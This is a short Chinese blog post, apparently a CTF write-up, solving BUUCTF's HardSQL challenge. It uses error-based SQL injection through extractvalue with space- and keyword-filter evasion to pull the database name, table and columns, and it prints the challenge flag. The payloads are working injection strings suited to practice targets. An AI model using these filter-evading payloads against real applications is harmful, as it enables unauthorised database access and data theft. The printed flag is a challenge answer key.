BUUCTF WEB [极客大挑战 2019]HardSQL

原创

Y1Daa 于 2022-04-17 21:17:49 发布 331 收藏

分类专栏： BUUCTF 文章标签： web安全

本文链接：https://blog.csdn.net/weixin_51412071/article/details/124236785

BUUCTF WEB [极客大挑战 2019]HardSQL

万能密码、union联合注入等关键词and、union等均被过滤，尝试报错注入

- 爆破库名

```
1'or(extractvalue(1,concat(1,database())))#

XPATH syntax error: 'geek'
```

- 爆破表名

```
1'or(extractvalue(1,concat(1,(select(table_name)from(information_schema.tables)where(table_schema)like("geek")))
))#

XPATH syntax error: 'H4rDsq1'
```

- 爆破列名

```
1'or(extractvalue(1,concat(1,(select(group_concat(column_name))from(information_schema.columns)where(table_name)
like("H4rDsq1")))))#

XPATH syntax error: 'id,username,password'
```

- 爆破flag，这里需要注意，extractvalue的一次返回值最大为32位，当返回数据长度大于32时，需要结合其他函数使用

```
1'or(extractvalue(1,concat(1,(select(group_concat(password))from(H4rDsq1)where(id)like(1)))))#

XPATH syntax error: 'flag{71ea63c6-6be9-49c1-94d2-a79'
```

- 爆破flag的后续数据

```
1'or(extractvalue(1,concat(1,(select(right(password,20))from(H4rDsq1)where(id)like(1)))))#

XPATH syntax error: 'd2-a79fdd930ca8}'
```

- 得到flag

```
flag{71ea63c6-6be9-49c1-94d2-a79fdd930ca8}
```